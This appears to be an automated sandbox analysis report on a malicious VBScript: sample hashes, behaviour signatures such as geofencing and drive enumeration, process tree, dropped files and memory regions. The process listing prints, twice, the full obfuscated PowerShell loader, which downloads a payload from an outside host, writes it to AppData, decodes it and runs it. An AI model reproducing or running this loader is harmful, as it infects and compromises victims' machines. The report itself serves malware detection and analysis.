Overview

overview

10

Static

static

1

36b0e1a17b...71.vbs

windows7-x64

10

36b0e1a17b...71.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    95s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 02:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    36b0e1a17b7854904b1e3b3bdd16d94599fd7f3d54dc6fd4250409c737740171.vbs

  • Size

    13KB

  • MD5

    5773cb94663b755bd1894b40d8c09abb

  • SHA1

    a8f0eeedee12422917be79af4218d6bb12f2d961

  • SHA256

    36b0e1a17b7854904b1e3b3bdd16d94599fd7f3d54dc6fd4250409c737740171

  • SHA512

    d9f6df51417f72069abbc68c837249837185d96cd0b5eb3eae0c836882c5a764a56566dac33012a5fa4cafcb48b97965835816cdfea6c2d94441ec6670b9fa2d

  • SSDEEP

    192:i+twG5TbOTOPDudut5SrhVCEWEkgfH/QYawbIuhKavkpavzesmGKnv2Yng6:iI5TQOPDuI5SPLHI9GvkpLs0vVx

Score
8/10
discoveryexecution

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\36b0e1a17b7854904b1e3b3bdd16d94599fd7f3d54dc6fd4250409c737740171.vbs"
    1⤵
    • Checks computer location settings
    • Enumerates connected drives
    • Suspicious use of WriteProcessMemory
    PID:3980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Discotheques='Oxynitrate';;$Russificeringens='prisopgavens';;$Viuva='Prepersuasive';;$Electricians='Accoucheurer';;$Endimensional=$host.Name;function Bookrests($Finansieringsreglens){If ($Endimensional) {$Analysatortabellens=3} for ($reincite=$Analysatortabellens;;$reincite+=4){if(!$Finansieringsreglens[$reincite]){cls;break }$bulbjerg+=$Finansieringsreglens[$reincite];$Myasthenic='Digterkollektivs'}$bulbjerg}function Handsaws($antimallein){ .($Overvintrede) ($antimallein)}$Mimical=Bookrests 'cywN A eOrgTF a. rfw';$Mimical+=Bookrests ' vee NdBPreCAs l iIC,eE C N,amt';$Betydningslsestes=Bookrests ' FaMEnso Tiz C iPa lEpol TaaTil/';$Debutrolles=Bookrests 'skrTst lK msYam1Dem2';$megalocephalous=' sa[KolNHayEOutt.re.UdssIndesphrs.svsolibrucObsEDeppChaOUdtITidNMegtFosmMona oanIntasluG suEGanr et]sp :R.p:stes UnETouCIm UForRKunislutsulYElapG.iRAveo U T BooInwC BeOUnsl se=Kla$GledBelEGjoBAkaUH,pt aR ivoPi LequL seE ess';$Betydningslsestes+=Bookrests ' Ho5Rob. Le0s,c ,ma(Am WEksi C nsprdDeloFilws.osRa Ny.N emTDem Deb1Inu0 Re. R.0 ib;,el M.WPhai shnsal6Pir4 so;G n saxsma6Rha4spo;Oth .arsvevPre:K b1Tee3F s1Drf. an0ss ) B. uGG leTvacU ekUnroDe / ag2Opd0 us1.ru0pe.0 ns1bra0 Ed1Tp. IndF TeiPlurGruechif do syx Ex/c t1 Do3Lig1 He.Ar,0';$Opposing=Bookrests 'strUChus,ytedisR Bo-sexA agGBabeRe nEt.t';$Planlggelsers=Bookrests 'ThehTa,t amtv lpWizs F,:Que/Non/EpihPn.sspe2OvevRd,.skyiAegc,lau o/BeamGarr PrUMagJT.kZpraKLiljGyrBOph/neeGGavrs dyExpnalats meEscnAlpestasDon. nsTvae Pha';$reincitedentitetsproblemerne=Bookrests ' ng>';$Overvintrede=Bookrests 'OprI teTo x';$Biografiske='Matting';$Hemicephalous='\Detaillist.Neo';Handsaws (Bookrests 'afh$.ejgExplB,toposbsupAP.tlskv: FlMMa AOpfRBruIsmyEPl hg nNp oEHy RBio=Vek$H.reEndnsk VU,f: Fna E Psc pDisdWoyAUndTGrnA aa+s l$Tokh KeeVasMIngIPr CstyE O,p UdHBorATenL liOb auA.as');Handsaws (Bookrests 'L n$ Ovg LsLCecOLe B GaaUncLN c: TeTProestud itDR dYM,sb HajBrur Ddn veAdgnsu.EIn =sk $LivpMill nkA.okNAntLInig t GB seM dlIm sFaeEC vRF us T,.spysAropBralMetiG dTEle(Exc$ NorOrdeDisi beNR tCBldi L,TjomepegDJo.E aNLi.TH,aI DitLo E .atXansDisPBeaRKagosanbGitLK ueEneM nE K rTatnlikeUdp)');Handsaws (Bookrests $megalocephalous);$Planlggelsers=$Teddybjrnene[0];$Byggeforetagendets=(Bookrests 'Unw$ QuGAimL beoOr b Mea BrLsta: Chf nwyFoslCendT oE agkUnfaJavL niKOve=Pr,NFloEH,lW Af- KoOUhabHalJPriE egc fitOpv ecs G YUnosBittDecEWebmF.e.Lys$KnoMTipiNonMstoI racAlcA t L');Handsaws ($Byggeforetagendets);Handsaws (Bookrests 'Afv$ ydFBo.ys plUnddTyveAnakFr ase l PrkG,s.PleHspiePeraTred eeI erFa sspa[N n$Di OTelpFrapGesoMarsbrui kan osg Ud] ve=sub$TreB pre Bltc oyNondTs nAfpiBi nWing DesRadlKl.sMiseNapsEmbtB ge Zes');$Totalskade=Bookrests ' t$LatFA syBonlP,cd CoeBerkPreaGlel Luks.o.sacDEjeoMotwBilnDealLeaoChaaunddsukF FiiNa lFilesca(Bio$PenP salPreaDennforlPsegBiegPhye arlsa s.eceLogrVo s,pr,ord$BurH B jAlnlNonpHaneF alG nsRe )';$Hjlpels=$Mariehner;Handsaws (Bookrests 'Tr,$Bo g InlInuO InbCorARamLsam: ,eb,oreUvsL via Ens reTDemnsp I,odN regA,esE aPBilr arvRecEUsaRNed=In ( utGrae isEntt Li-GulpOv aHa,TAkahRul Per$sarH ucJMa,lRewP U ebutlIndsBra)');while (!$belastningsprver) {Handsaws (Bookrests 'B,g$LupgElslUxooAp bU ea sklRam:Kr,HClia UnlEnmsKr h .ovMariFulrPhavAdmes,rlCaieM.anDyb=Ben$retABenkDuntBlouUndasval.fpiU.csTyre .ir CreP,rd F e Fos') ;Handsaws $Totalskade;Handsaws (Bookrests 'Ar,s dvTJocaRanr P,TBu - PlsVallsomEPrve Fep R Rev4');Handsaws (Bookrests 'Mar$ reGstalshaOT.kbPibAs,iLOr :MisbVeseTu lPalALousU tt onVani AnNN ngMuisQuopGabREpivEmuE Fir,pe=,la( artFanE Anss aTP.l-BogpUtoALentKliHDin Hyl$silhMicJ rolBiopBroEDaaL JasG.o)') ;Handsaws (Bookrests 'Pro$scrG p,Ls nORvsBfala.ivLTro:Byga .hlGgec inO,ftH,ffo BeLUrdiKe,sspot H = P,$PerG FulGeoostrBDesaherlObj:samhtoryspjP acOMeggVilYGr NGevIAp uBromMee+erh+U,l%Huk$ K.tFunECo DBefD eaYcatbAwaJAriRYugNTrieR snIn,eDwa. oCChao.nsU.ygNI.lt') ;$Planlggelsers=$Teddybjrnene[$Alcoholist]}$Mngdeparentesers=325110;$Ordbogsfilers=29625;Handsaws (Bookrests 'Con$ PrgUseLB,aODe BOveAT nlK j:s eB FeACivR RokCalBKnaO OrU alnArbDRev1gra7 ru6Dyr Ddk=,kl CoaGF rEsmiTGe -KriC PhO unUnwTCh,ETilNB oTsk cau$F,iHCocJZanL.umpMe,EUbeLblos');Handsaws (Bookrests 'Fle$ egNerlC roge.b LiaN,tlGe.: reC ilaLibfHv.eLines,kn se Vol= Et Hus[ Mes scy has rotZageKeimOli.PraCKaroBa.n A v s e aar ant G ] Th: sp: PoF AnrsagoOxymtunBOldaWhes CoeTre6 Co4Ov sEzit D r tiOu nEnggsoo(C l$nucBsiraKlirafsk robPetoso u lonAnvdReg1Udk7Blo6 ar)');Handsaws (Bookrests 'Fja$PingDerl E.O UnbMicADd L O : ooUFr.DUrgPFamoT,ml Mas Udtd irKyliZ gN.ulGPycs M. s.i=s o .ch[ nts V.YcotsFriTNave ,tMJor.VaptProePlaxBrntsej.TorEBlinbiocP oO EdD Rhi.ean,pbGUd ]Ret:st :WhoAHydsPurcHypiOutiCac.AabgchaEskit des fT reRPanIFacnExtgBre( ln$ N,cTriA ifBa EDecEKu NK t)');Handsaws (Bookrests 'Ung$ TiGcitL.yto PabFodaPholsy :O eCPaelOneaV,dn stfIntEHvaLpedlHusOBetw Tr=L.e$ geuFamDN kpsjuOspiL ,rs,olt ndrDazi loN ntG ImsKon. Dis GaUBruBElysPretBogrAlpI F NPatgskr(akt$seqMro,NstogKacdA peLftPForATerrVeleskoN aTspyEPals Ove K RFalsGal, Ca$TemO MirRetDAntBMieOBedGWinsskaF.ntiDifLIntet fR tsBeu)');Handsaws $Clanfellow;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4152
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Discotheques='Oxynitrate';;$Russificeringens='prisopgavens';;$Viuva='Prepersuasive';;$Electricians='Accoucheurer';;$Endimensional=$host.Name;function Bookrests($Finansieringsreglens){If ($Endimensional) {$Analysatortabellens=3} for ($reincite=$Analysatortabellens;;$reincite+=4){if(!$Finansieringsreglens[$reincite]){cls;break }$bulbjerg+=$Finansieringsreglens[$reincite];$Myasthenic='Digterkollektivs'}$bulbjerg}function Handsaws($antimallein){ .($Overvintrede) ($antimallein)}$Mimical=Bookrests 'cywN A eOrgTF a. rfw';$Mimical+=Bookrests ' vee NdBPreCAs l iIC,eE C N,amt';$Betydningslsestes=Bookrests ' FaMEnso Tiz C iPa lEpol TaaTil/';$Debutrolles=Bookrests 'skrTst lK msYam1Dem2';$megalocephalous=' sa[KolNHayEOutt.re.UdssIndesphrs.svsolibrucObsEDeppChaOUdtITidNMegtFosmMona oanIntasluG suEGanr et]sp :R.p:stes UnETouCIm UForRKunislutsulYElapG.iRAveo U T BooInwC BeOUnsl se=Kla$GledBelEGjoBAkaUH,pt aR ivoPi LequL seE ess';$Betydningslsestes+=Bookrests ' Ho5Rob. Le0s,c ,ma(Am WEksi C nsprdDeloFilws.osRa Ny.N emTDem Deb1Inu0 Re. R.0 ib;,el M.WPhai shnsal6Pir4 so;G n saxsma6Rha4spo;Oth .arsvevPre:K b1Tee3F s1Drf. an0ss ) B. uGG leTvacU ekUnroDe / ag2Opd0 us1.ru0pe.0 ns1bra0 Ed1Tp. IndF TeiPlurGruechif do syx Ex/c t1 Do3Lig1 He.Ar,0';$Opposing=Bookrests 'strUChus,ytedisR Bo-sexA agGBabeRe nEt.t';$Planlggelsers=Bookrests 'ThehTa,t amtv lpWizs F,:Que/Non/EpihPn.sspe2OvevRd,.skyiAegc,lau o/BeamGarr PrUMagJT.kZpraKLiljGyrBOph/neeGGavrs dyExpnalats meEscnAlpestasDon. nsTvae Pha';$reincitedentitetsproblemerne=Bookrests ' ng>';$Overvintrede=Bookrests 'OprI teTo x';$Biografiske='Matting';$Hemicephalous='\Detaillist.Neo';Handsaws (Bookrests 'afh$.ejgExplB,toposbsupAP.tlskv: FlMMa AOpfRBruIsmyEPl hg nNp oEHy RBio=Vek$H.reEndnsk VU,f: Fna E Psc pDisdWoyAUndTGrnA aa+s l$Tokh KeeVasMIngIPr CstyE O,p UdHBorATenL liOb auA.as');Handsaws (Bookrests 'L n$ Ovg LsLCecOLe B GaaUncLN c: TeTProestud itDR dYM,sb HajBrur Ddn veAdgnsu.EIn =sk $LivpMill nkA.okNAntLInig t GB seM dlIm sFaeEC vRF us T,.spysAropBralMetiG dTEle(Exc$ NorOrdeDisi beNR tCBldi L,TjomepegDJo.E aNLi.TH,aI DitLo E .atXansDisPBeaRKagosanbGitLK ueEneM nE K rTatnlikeUdp)');Handsaws (Bookrests $megalocephalous);$Planlggelsers=$Teddybjrnene[0];$Byggeforetagendets=(Bookrests 'Unw$ QuGAimL beoOr b Mea BrLsta: Chf nwyFoslCendT oE agkUnfaJavL niKOve=Pr,NFloEH,lW Af- KoOUhabHalJPriE egc fitOpv ecs G YUnosBittDecEWebmF.e.Lys$KnoMTipiNonMstoI racAlcA t L');Handsaws ($Byggeforetagendets);Handsaws (Bookrests 'Afv$ ydFBo.ys plUnddTyveAnakFr ase l PrkG,s.PleHspiePeraTred eeI erFa sspa[N n$Di OTelpFrapGesoMarsbrui kan osg Ud] ve=sub$TreB pre Bltc oyNondTs nAfpiBi nWing DesRadlKl.sMiseNapsEmbtB ge Zes');$Totalskade=Bookrests ' t$LatFA syBonlP,cd CoeBerkPreaGlel Luks.o.sacDEjeoMotwBilnDealLeaoChaaunddsukF FiiNa lFilesca(Bio$PenP salPreaDennforlPsegBiegPhye arlsa s.eceLogrVo s,pr,ord$BurH B jAlnlNonpHaneF alG nsRe )';$Hjlpels=$Mariehner;Handsaws (Bookrests 'Tr,$Bo g InlInuO InbCorARamLsam: ,eb,oreUvsL via Ens reTDemnsp I,odN regA,esE aPBilr arvRecEUsaRNed=In ( utGrae isEntt Li-GulpOv aHa,TAkahRul Per$sarH ucJMa,lRewP U ebutlIndsBra)');while (!$belastningsprver) {Handsaws (Bookrests 'B,g$LupgElslUxooAp bU ea sklRam:Kr,HClia UnlEnmsKr h .ovMariFulrPhavAdmes,rlCaieM.anDyb=Ben$retABenkDuntBlouUndasval.fpiU.csTyre .ir CreP,rd F e Fos') ;Handsaws $Totalskade;Handsaws (Bookrests 'Ar,s dvTJocaRanr P,TBu - PlsVallsomEPrve Fep R Rev4');Handsaws (Bookrests 'Mar$ reGstalshaOT.kbPibAs,iLOr :MisbVeseTu lPalALousU tt onVani AnNN ngMuisQuopGabREpivEmuE Fir,pe=,la( artFanE Anss aTP.l-BogpUtoALentKliHDin Hyl$silhMicJ rolBiopBroEDaaL JasG.o)') ;Handsaws (Bookrests 'Pro$scrG p,Ls nORvsBfala.ivLTro:Byga .hlGgec inO,ftH,ffo BeLUrdiKe,sspot H = P,$PerG FulGeoostrBDesaherlObj:samhtoryspjP acOMeggVilYGr NGevIAp uBromMee+erh+U,l%Huk$ K.tFunECo DBefD eaYcatbAwaJAriRYugNTrieR snIn,eDwa. oCChao.nsU.ygNI.lt') ;$Planlggelsers=$Teddybjrnene[$Alcoholist]}$Mngdeparentesers=325110;$Ordbogsfilers=29625;Handsaws (Bookrests 'Con$ PrgUseLB,aODe BOveAT nlK j:s eB FeACivR RokCalBKnaO OrU alnArbDRev1gra7 ru6Dyr Ddk=,kl CoaGF rEsmiTGe -KriC PhO unUnwTCh,ETilNB oTsk cau$F,iHCocJZanL.umpMe,EUbeLblos');Handsaws (Bookrests 'Fle$ egNerlC roge.b LiaN,tlGe.: reC ilaLibfHv.eLines,kn se Vol= Et Hus[ Mes scy has rotZageKeimOli.PraCKaroBa.n A v s e aar ant G ] Th: sp: PoF AnrsagoOxymtunBOldaWhes CoeTre6 Co4Ov sEzit D r tiOu nEnggsoo(C l$nucBsiraKlirafsk robPetoso u lonAnvdReg1Udk7Blo6 ar)');Handsaws (Bookrests 'Fja$PingDerl E.O UnbMicADd L O : ooUFr.DUrgPFamoT,ml Mas Udtd irKyliZ gN.ulGPycs M. s.i=s o .ch[ nts V.YcotsFriTNave ,tMJor.VaptProePlaxBrntsej.TorEBlinbiocP oO EdD Rhi.ean,pbGUd ]Ret:st :WhoAHydsPurcHypiOutiCac.AabgchaEskit des fT reRPanIFacnExtgBre( ln$ N,cTriA ifBa EDecEKu NK t)');Handsaws (Bookrests 'Ung$ TiGcitL.yto PabFodaPholsy :O eCPaelOneaV,dn stfIntEHvaLpedlHusOBetw Tr=L.e$ geuFamDN kpsjuOspiL ,rs,olt ndrDazi loN ntG ImsKon. Dis GaUBruBElysPretBogrAlpI F NPatgskr(akt$seqMro,NstogKacdA peLftPForATerrVeleskoN aTspyEPals Ove K RFalsGal, Ca$TemO MirRetDAntBMieOBedGWinsskaF.ntiDifLIntet fR tsBeu)');Handsaws $Clanfellow;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1484

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    71444def27770d9071039d005d0323b7

    SHA1

    cef8654e95495786ac9347494f4417819373427e

    SHA256

    8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

    SHA512

    a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bueuw0ap.xjc.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Detaillist.Neo
    Filesize

    461KB

    MD5

    f4c41b7d58a43784d7be5b820e8d74db

    SHA1

    bfabc4e9adadabe3476f733534131272d37b8155

    SHA256

    eb63735ab287f46ef67d3f301b58e3d4dea76a59eb326b97909b6e81697867f9

    SHA512

    63315ddf20fdf3c0975df0f915a3ce9d2a32adfbc09a5c37061120ea533fc76e34c7452c34a4a17cd18996ce98828e8d11fa37f034d496bc7d8240ba51cdd413

    Download Submit

  • memory/1484-36-0x0000000006490000-0x00000000064DC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1484-33-0x0000000005DB0000-0x0000000006104000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1484-41-0x0000000008420000-0x00000000089C4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1484-40-0x0000000007400000-0x0000000007422000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1484-19-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/1484-20-0x0000000005620000-0x0000000005C48000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/1484-21-0x0000000005520000-0x0000000005542000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1484-23-0x0000000005CC0000-0x0000000005D26000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1484-22-0x0000000005C50000-0x0000000005CB6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1484-39-0x0000000007720000-0x00000000077B6000-memory.dmp

    Filesize

    600KB

    Download

  • memory/1484-38-0x0000000006980000-0x000000000699A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1484-35-0x0000000006410000-0x000000000642E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1484-37-0x0000000007DA0000-0x000000000841A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/4152-0-0x00007FFDBF313000-0x00007FFDBF315000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4152-11-0x00007FFDBF310000-0x00007FFDBFDD1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4152-12-0x00007FFDBF310000-0x00007FFDBFDD1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4152-18-0x00007FFDBF310000-0x00007FFDBFDD1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4152-15-0x00007FFDBF310000-0x00007FFDBFDD1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4152-1-0x000001F6DEE90000-0x000001F6DEEB2000-memory.dmp

    Filesize

    136KB

    Download